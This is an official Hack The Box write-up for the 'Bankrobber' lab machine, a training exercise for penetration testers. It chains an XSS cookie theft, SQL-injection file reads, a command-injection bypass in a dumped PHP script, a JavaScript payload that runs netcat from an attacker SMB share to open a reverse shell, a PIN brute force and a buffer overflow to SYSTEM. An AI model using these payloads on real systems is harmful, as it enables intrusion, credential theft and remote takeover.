Bankrobber
Bankrobber
Difficulty: Insane
Classification: Official
Synopsis
Bankrobber is an Insane difficulty Windows machine featuring a web server that is vulnerable to
XSS. This is exploited to steal the administrator's cookies, which are used to gain access to the
admin panel. The panel is found to contain additional functionality, which can be exploited to
read files as well as execute code and gain foothold. An unknown service running on the box is
found to be vulnerable to a buffer overflow, which can be exploited to execute arbitrary
commands as SYSTEM.
Skills Required
Enumeration
JavaScript XSS Payloads
SQL Injection
Skills Learned
Command Injection
File read through SQLi
Buffer Overflow
Enumeration
Nmap
Nmap output identifies that this is a Windows box running SMB, HTTP and HTTPS on their default
ports. Additionally, a MySQL server is exposed.
HTTP
Browsing to port 80, a cryptocurrency related website is found.
The registration form is used to create a new account and then login.
Upon logging in, we see a form for transferring e-coin to any address. Completing the form and
submitting results in the following message.
This indicates that an admin might be reviewing the transactions before approving them.
Intercept the request in burp to look at the parameters.
The username and password are found to be base64 encoded cookies. The fromId parameter is
set to 3, which indicates that user ids 1 and 2 must already exist. The toId value should be set to
something valid in order for a transaction to take place. Let's check if the form is vulnerable to
XSS by adding an img tag in the comment section.
A GET request is received, which proves that the server is vulnerable as well as confirming the
administrator's activity.
Exploiting XSS
We already know that the username and password are saved as cookies. It's possible to access
them from JavaScript and steal them, as they aren't protected by the HttpOnly attribute. The
onerror attribute in the img tag can be used to achieve this.
The image load will fail due an invalid src, after which the onerror attribute is triggered. This
attribute has access to document.cookie through JavaScript and is used to set the src to our IP
address. The btoa() function is used to encode the cookies as base64 and then append it to the
IP address. URL encode this payload and repeat the request.
As expected, the cookies are received encoded as base64. This value can be decoded to gain the
credentials.
The username is admin and the password is revealed to be Hopelessromantic . Let's use these
credentials to login as the administrator.
The admin page is found to have two extra functionalities. The Search Users function lets the
admin user search for users based on user id, while the Backdoorchecker allows execution of
the dir command. Trying to run dir returns the following error.
Additionally, there's a file named notes.txt hosted on the server.
Let's save this for later reference. Entering the userId as 1 in the search box returns admin .
This probably means that the server is vulnerable to SQL injection. Intercept the request in Burp
for further inspection. Let's try finding the number of columns in the table using the ORDER BY
clause.
1' ORDER BY 3 -- -
This means that the table contains 3 columns. We can leverage this to perform a UNION based
SQL injection. Let's find the current user and the database.
We're found to be running as the root user with the highest privileges.
The current database name is found to be bankrobber . A list of all databases can be obtained by
using the INFORMATION_SCHEMA.SCHEMATA table.
The database is found to contain the tables balance, hold and users. There's nothing interesting
in these, as we already have the administrator's credentials.
The file read was successful and the server returned the contents. From the notes.txt file
earlier, we know that the server files are present in the default XAMP folders. The default web
root in XAMPP is set to C:\XAMPP\htdocs . Let's try reading the backdoorchecker.php file in the
admin folder.
<?php
include('../link.php');
include('auth.php');
$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad = array('$(','&');
$good = "ls";
if(strtolower(substr(PHP_OS,0,3)) == "win"){
$good = "dir";
}
if($username == "admin" && $password == "Hopelessromantic"){
if(isset($_POST['cmd'])){
// FILTER ESCAPE CHARS
foreach($bad as $char){
if(strpos($_POST['cmd'],$char) !== false){
die("You're not allowed to do that.");
}
}
// CHECK IF THE FIRST 2 CHARS ARE LS
if(substr($_POST['cmd'], 0,strlen($good)) != $good){
die("It's only allowed to use the $good
command");
}
if($_SERVER['REMOTE_ADDR'] == "::1"){
system($_POST['cmd']);
} else{
echo "It's only allowed to access this function
from localhost (::1).<br> This is due to the recent hack attempts on our
server.";
}
}
} else{
echo "You are not allowed to use this function!";
}
?>
The script decodes the username and password cookies, and verifies that the session belongs to
the admin. The allowed command is set to dir and the character & is blacklisted, which
prevents us from injecting commands. However, the pipe character | can be used to execute
additional system commands as well. The script then checks if the commands are sent from
localhost. This can be bypassed by sending requests through the XSS.
Foothold
The following JavaScript code will send a POST request to the page.
<script src=http://10.10.14.3/script.js></script>
Start a web server on port 80 and a tcpdump ICMP listener. Send the request with the script tag
as follows:
A HTTP request should be received on port 80, followed by ICMP requests on the tcpdump
listener.
Now that we have code execution, we can execute a reverse shell using nc.exe. Copy nc.exe to the
current folder and start an SMB server using smbserver.py .
This binary can be executed directly from the share. Update script.js as follows:
var xhr = new XMLHttpRequest();
var url = "http://localhost/admin/backdoorchecker.php";
var params = "cmd=dir | \\\\10.10.14.3\\share\\nc.exe 10.10.14.3 443 -e
cmd.exe";
xhr.open("POST", url);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send(params);
The command will execute the netcat binary and send a reverse shell to port 443 on our box.
Send the XXS payload and start a listener on port 443.
We'll have to forward this port in order to access it, because the firewall blocks direct connections
to it. This can be achieved by using chisel. Download the Windows and Linux binaries from the
releases section.
Next, start a server locally in reverse mode, so that we can forward local ports to remote.
The command above will start a listener on port 5555 locally. Next, execute the following
command on the box to create a tunnel to port 910.
This command will connect to our server and then create a tunnel from port 910 on our host to
port 910 on the box. Let's try connecting to this port now.
The service asks for a 4 digit PIN code. Entering an invalid code leads to an immediate
disconnection. As there are only 10000 possible combinations, we can bruteforce this service
using pwntools.
The script above will generate codes starting from 0000 up to 9999 . Each code is sent to the
server and the response is checked for the Access denied message.
The valid code is revealed as 0021 . Let's try connecting and entering this code.
This time, we're granted access to the service. It asks us for an amount of e-coins to transfer.
Entering some amount leads to the execution of the C:\Users\admin\Documents\transfer.exe
binary. Let's check if the server is vulnerable to a buffer overflow attack by sending a long string.
After entering a long string of As, we find that the value of the buffer was overwritten. This means
that we can overflow and control this buffer. The server will try to execute anything we place in
that buffer. Let's try adding an nc reverse shell command in it. Before that, we'll have to find the
offset at which the buffer is overwritten.
The offset is found to be 32, which means everything after 32 characters will be written to the
binary path. Create a string of 32 A's and append the following command to it.
Copy nc.exe to the Public folder and then send the crafted input to the service.
The command gets executed and a shell as SYSTEM should be received on port 4444.